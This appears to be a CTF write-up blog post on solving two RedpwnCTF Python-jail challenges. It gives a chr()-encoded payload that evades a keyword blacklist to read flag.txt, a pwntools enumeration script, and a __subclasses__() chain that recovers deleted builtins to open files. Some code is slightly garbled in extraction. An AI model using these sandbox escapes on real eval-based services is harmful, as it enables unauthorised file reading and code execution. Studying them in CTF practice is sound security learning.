RedpwnCTF - Exploiting python eval to escape pyjails
Welcome to this post. I will show how I solved all the python jails challenges (pyjail) from RedpwnCTF.
Challenge description When has a blacklist of insecure keywords EVER failed?
nc chall2.2019.redpwn.net 6006
import ast eval = pickle os subprocess i love blacklisting words! input sys windows users print execfile hungrybox builtins open most of these are in here just to confuse you _ dict [ > < : ; ] exec hah almost forgot that one for @ dir yah have fun file
Ready, set, eval!
Let’s test it,
nc to that address.
We are told theres a file called flag.txt. If we try to run
open function it will not work since it is present in the blacklist.
When we send our input, it first gets checked with that blacklist, and if it passed all the checks, it gets evaluated.
After a lot of trial and error, i ended up converting
int(open("flag.txt", "r").read()) to the ascii code of each character. Then used chr(number) to convert each ascii code back to the original character. Char by char i built back my initial payload without it being directly present in my input.
chr(105) + chr(110) + chr(116) + chr(40) + chr(111) + chr(112) + chr(101) + chr(110) + chr(40) + chr(39) + chr(102) + chr(108) + chr(97) + chr(103) + chr(46) + chr(116) + chr(120) + chr(116) + chr(39) + chr(44) + chr(32) + chr(39) + chr(114) + chr(39) + chr(41) + chr(46) + chr(114) + chr(101) + chr(97) + chr(100) + chr(40) + chr(41) + chr(41)
Time to send this to the jail!
Please note how I added the int function in order to make it throw an exception containing the flag. I analyzed this technique in my other post called Python - Hacking with style - input.
how unoriginal do you have to be to make two of these
nc chall2.2019.redpwn.net 6007
We do not have a blacklist now, but we can’t use whitespaces or tabs. And we have a very limited set of builtins. You may be asking how I knew that. I made the following script to analyze builtins:
from pwn import * import re r = remote("chall2.2019.redpwn.net", 6007) r.recvline() # wow! again, there's a file called flag.txt! insane! def main(): matches =  i = 0 response = "" exc = "" while (exc.find("out of range") == -1): r.sendline("int(dir(__builtins__)[%d])" % i) i = i + 1 response = r.recvline() # Now it's ... exc = r.recvline() # Exception ... module = re.search( r"'(\w+)'", exc, re.M|re.I) if module: matches.append(module.group(1)) print "New match: %s at index %d" % (module.group(1), i) print "finished" print ", ".join(matches) try: main() except Exception as e: print e
This script establishes a connection and sends
i is a number from zero to infinity until the jail said we where out of range. I used
dir function to list builtins and
int to get the raw exception, again ^^.
The script would then output every single match, and once finished, it would display every single match comma separated. This was useful to know our environment.
There was no interesting function here that would help me with reading files.
I decided to recover deleted functions, yes, that’s possible.
Accessing sub-sub-sub-…. modules of an empty tuple
() we can get interesting information. There’s a post here that talks about this.
Empty tuples have
object as base class which has a subclass called
warnings.catch_warnings, with this we can print to the console (remember that we can’t send whitespaces).
This is found here:
().__class__.__base__.__subclasses__()().__module.__builtins__['print'] # returns a function, print
With the piece of code above we can print again all modules inside subclasses and we find the following information.
There is a module of
open function pretty much gets reduced to file, therefore we can read a file with it. It is located in the index 40.
Here, again, I used the int() exception :D.
Notes for genericpyjail1
Instead of building a long chain of chr(number), it could have been solved as well by sending a base64 encoded string and decoding it on the fly:
Notes for genericpyjail2
Appart from having used
().__class__.__base__.__subclasses__()()._module.__builtins__['print'] to print, we could have used one from the builtins we saw,
raw_input, by having passed as parameter
().__class__.__base__.__subclasses__(). Remember I analyzed this in the post mentioned earlier.
Thanks for reading :)tags: python - ctf - redpwnctf - pyjail